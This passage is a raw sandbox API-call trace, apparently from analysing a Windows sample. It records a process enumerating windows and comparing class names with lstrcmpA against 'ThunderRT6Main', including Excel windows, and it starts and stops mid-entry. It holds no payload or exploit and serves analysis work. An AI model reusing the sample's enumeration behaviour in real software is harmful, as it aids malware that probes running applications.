| out: lpdwProcessId=0x0) returned 0x4c4 [0237.887] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0237.887] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.887] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.887] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.887] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0237.887] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0237.887] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0237.887] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0237.887] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0237.887] GetClassNameA (in: hWnd=0x10136, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.887] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.887] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0237.887] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0237.888] GetClassNameA (in: hWnd=0x10134, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0237.888] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0237.888] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0237.888] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0237.888] GetClassNameA (in: hWnd=0x10076, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.888] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.888] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.888] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0237.888] GetClassNameA (in: hWnd=0x10074, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.888] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.888] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.888] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0237.888] GetClassNameA (in: hWnd=0x10060, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.888] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.888] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.888] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0237.888] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.888] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.888] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.888] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0237.888] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.888] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.888] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.888] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0237.888] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.889] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.889] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.889] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0237.889] GetClassNameA (in: hWnd=0x10078, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.889] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.889] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.889] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0237.889] GetClassNameA (in: hWnd=0x10056, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0237.889] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0237.889] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.889] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0237.889] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.889] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.889] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.889] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0237.889] GetClassNameA (in: hWnd=0x10058, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Button") returned 6 [0237.889] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0237.889] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.889] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0237.889] GetClassNameA (in: hWnd=0x10050, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0237.889] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0237.889] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.889] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0237.889] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.889] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.889] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0237.890] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0237.890] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.890] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.890] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.890] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0237.890] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0237.890] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0237.890] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.890] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0237.890] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0237.890] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0237.890] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.890] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0237.890] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0237.890] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0237.890] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0237.890] GetClassNameA (in: hWnd=0x30154, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.890] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.890] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.890] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0237.890] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0237.890] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0237.890] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0237.890] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0237.890] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0237.890] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.890] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0237.891] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0237.891] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0237.891] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0237.891] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0237.891] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0237.891] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.891] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 533659648 [0237.891] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0237.891] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0237.891] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x140264 [0237.891] GetClassNameA (in: hWnd=0x140264, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0237.891] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0237.891] GetWindowThreadProcessId (in: hWnd=0x140264, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0237.891] GetWindow (hWnd=0x140264, uCmd=0x2) returned 0x400c0 [0237.891] GetClassNameA (in: hWnd=0x400c0, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.891] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.891] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0237.891] GetWindow (hWnd=0x400c0, uCmd=0x2) returned 0x20360 [0237.891] GetClassNameA (in: hWnd=0x20360, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0237.891] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0237.891] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.891] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0237.891] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0237.891] IsWindowEnabled (hWnd=0x20360) returned 0 [0237.891] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0237.891] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0237.891] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0237.892] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0237.892] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0237.892] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0237.892] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.892] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0237.892] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0237.892] GetClassNameA (in: hWnd=0x10350, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0237.892] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0237.892] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0237.892] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0237.892] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0237.892] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0237.892] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.892] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0237.892] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0237.892] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0237.892] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0237.892] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0237.892] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0237.892] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.892] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0237.892] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0237.892] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0237.892] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0237.892] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0237.892] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0237.892] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.893] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0237.893] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0237.893] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0237.893] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0237.893] GetClassNameA (in: hWnd=0x10270, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0237.893] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0237.893] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.893] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0237.893] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0237.893] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0237.893] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0237.893] GetClassNameA (in: hWnd=0x30152, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0237.893] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0237.893] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0237.893] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0237.893] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0237.893] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0237.893] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.893] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0237.893] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0237.893] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0237.893] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0237.893] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0237.893] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0237.893] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.893] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0237.893] GetClassNameA (in: hWnd=0x10262, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.893] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.894] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0237.894] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0237.894] GetClassNameA (in: hWnd=0x10260, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0237.894] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0237.894] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0237.894] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0237.894] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0237.894] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0237.894] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.894] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0237.894] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0237.894] GetClassNameA (in: hWnd=0x10292, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0237.894] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0237.894] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.894] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0237.894] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0237.894] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.894] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.894] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.894] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0237.894] GetClassNameA (in: hWnd=0x300be, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0237.894] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0237.894] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.894] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0237.894] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0237.894] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0237.895] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.895] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0237.895] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.895] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.895] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.895] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0237.895] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.895] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.895] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.895] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0237.895] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.895] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.895] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.895] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0237.895] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0237.895] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0237.895] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.895] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0237.895] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.895] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.895] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0237.895] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0237.895] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0237.895] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0237.895] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0237.896] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0237.896] GetClassNameA (in: hWnd=0x10258, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0237.896] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0237.896] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0237.896] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0237.896] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.896] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.896] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0237.896] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0237.896] GetClassNameA (in: hWnd=0x10254, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0237.896] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0237.896] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0237.896] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0237.896] GetClassNameA (in: hWnd=0x10256, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.896] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.896] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0237.896] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0237.896] GetClassNameA (in: hWnd=0x20250, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0237.896] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0237.897] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0237.897] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0237.898] GetClassNameA (in: hWnd=0x10252, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.898] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.898] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0237.898] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0237.898] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0237.898] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0237.898] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0237.898] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0237.898] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.898] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.898] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0237.898] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0237.898] GetClassNameA (in: hWnd=0x10248, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0237.898] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0237.898] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0237.898] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0237.898] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.898] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.898] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0237.898] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0237.898] GetClassNameA (in: hWnd=0x10244, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0237.898] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0237.898] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0237.899] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0237.899] GetClassNameA (in: hWnd=0x10246, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.899] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.899] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0237.899] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0237.899] GetClassNameA (in: hWnd=0x10240, lpClassName=0x188a90, nMaxCount=64 | 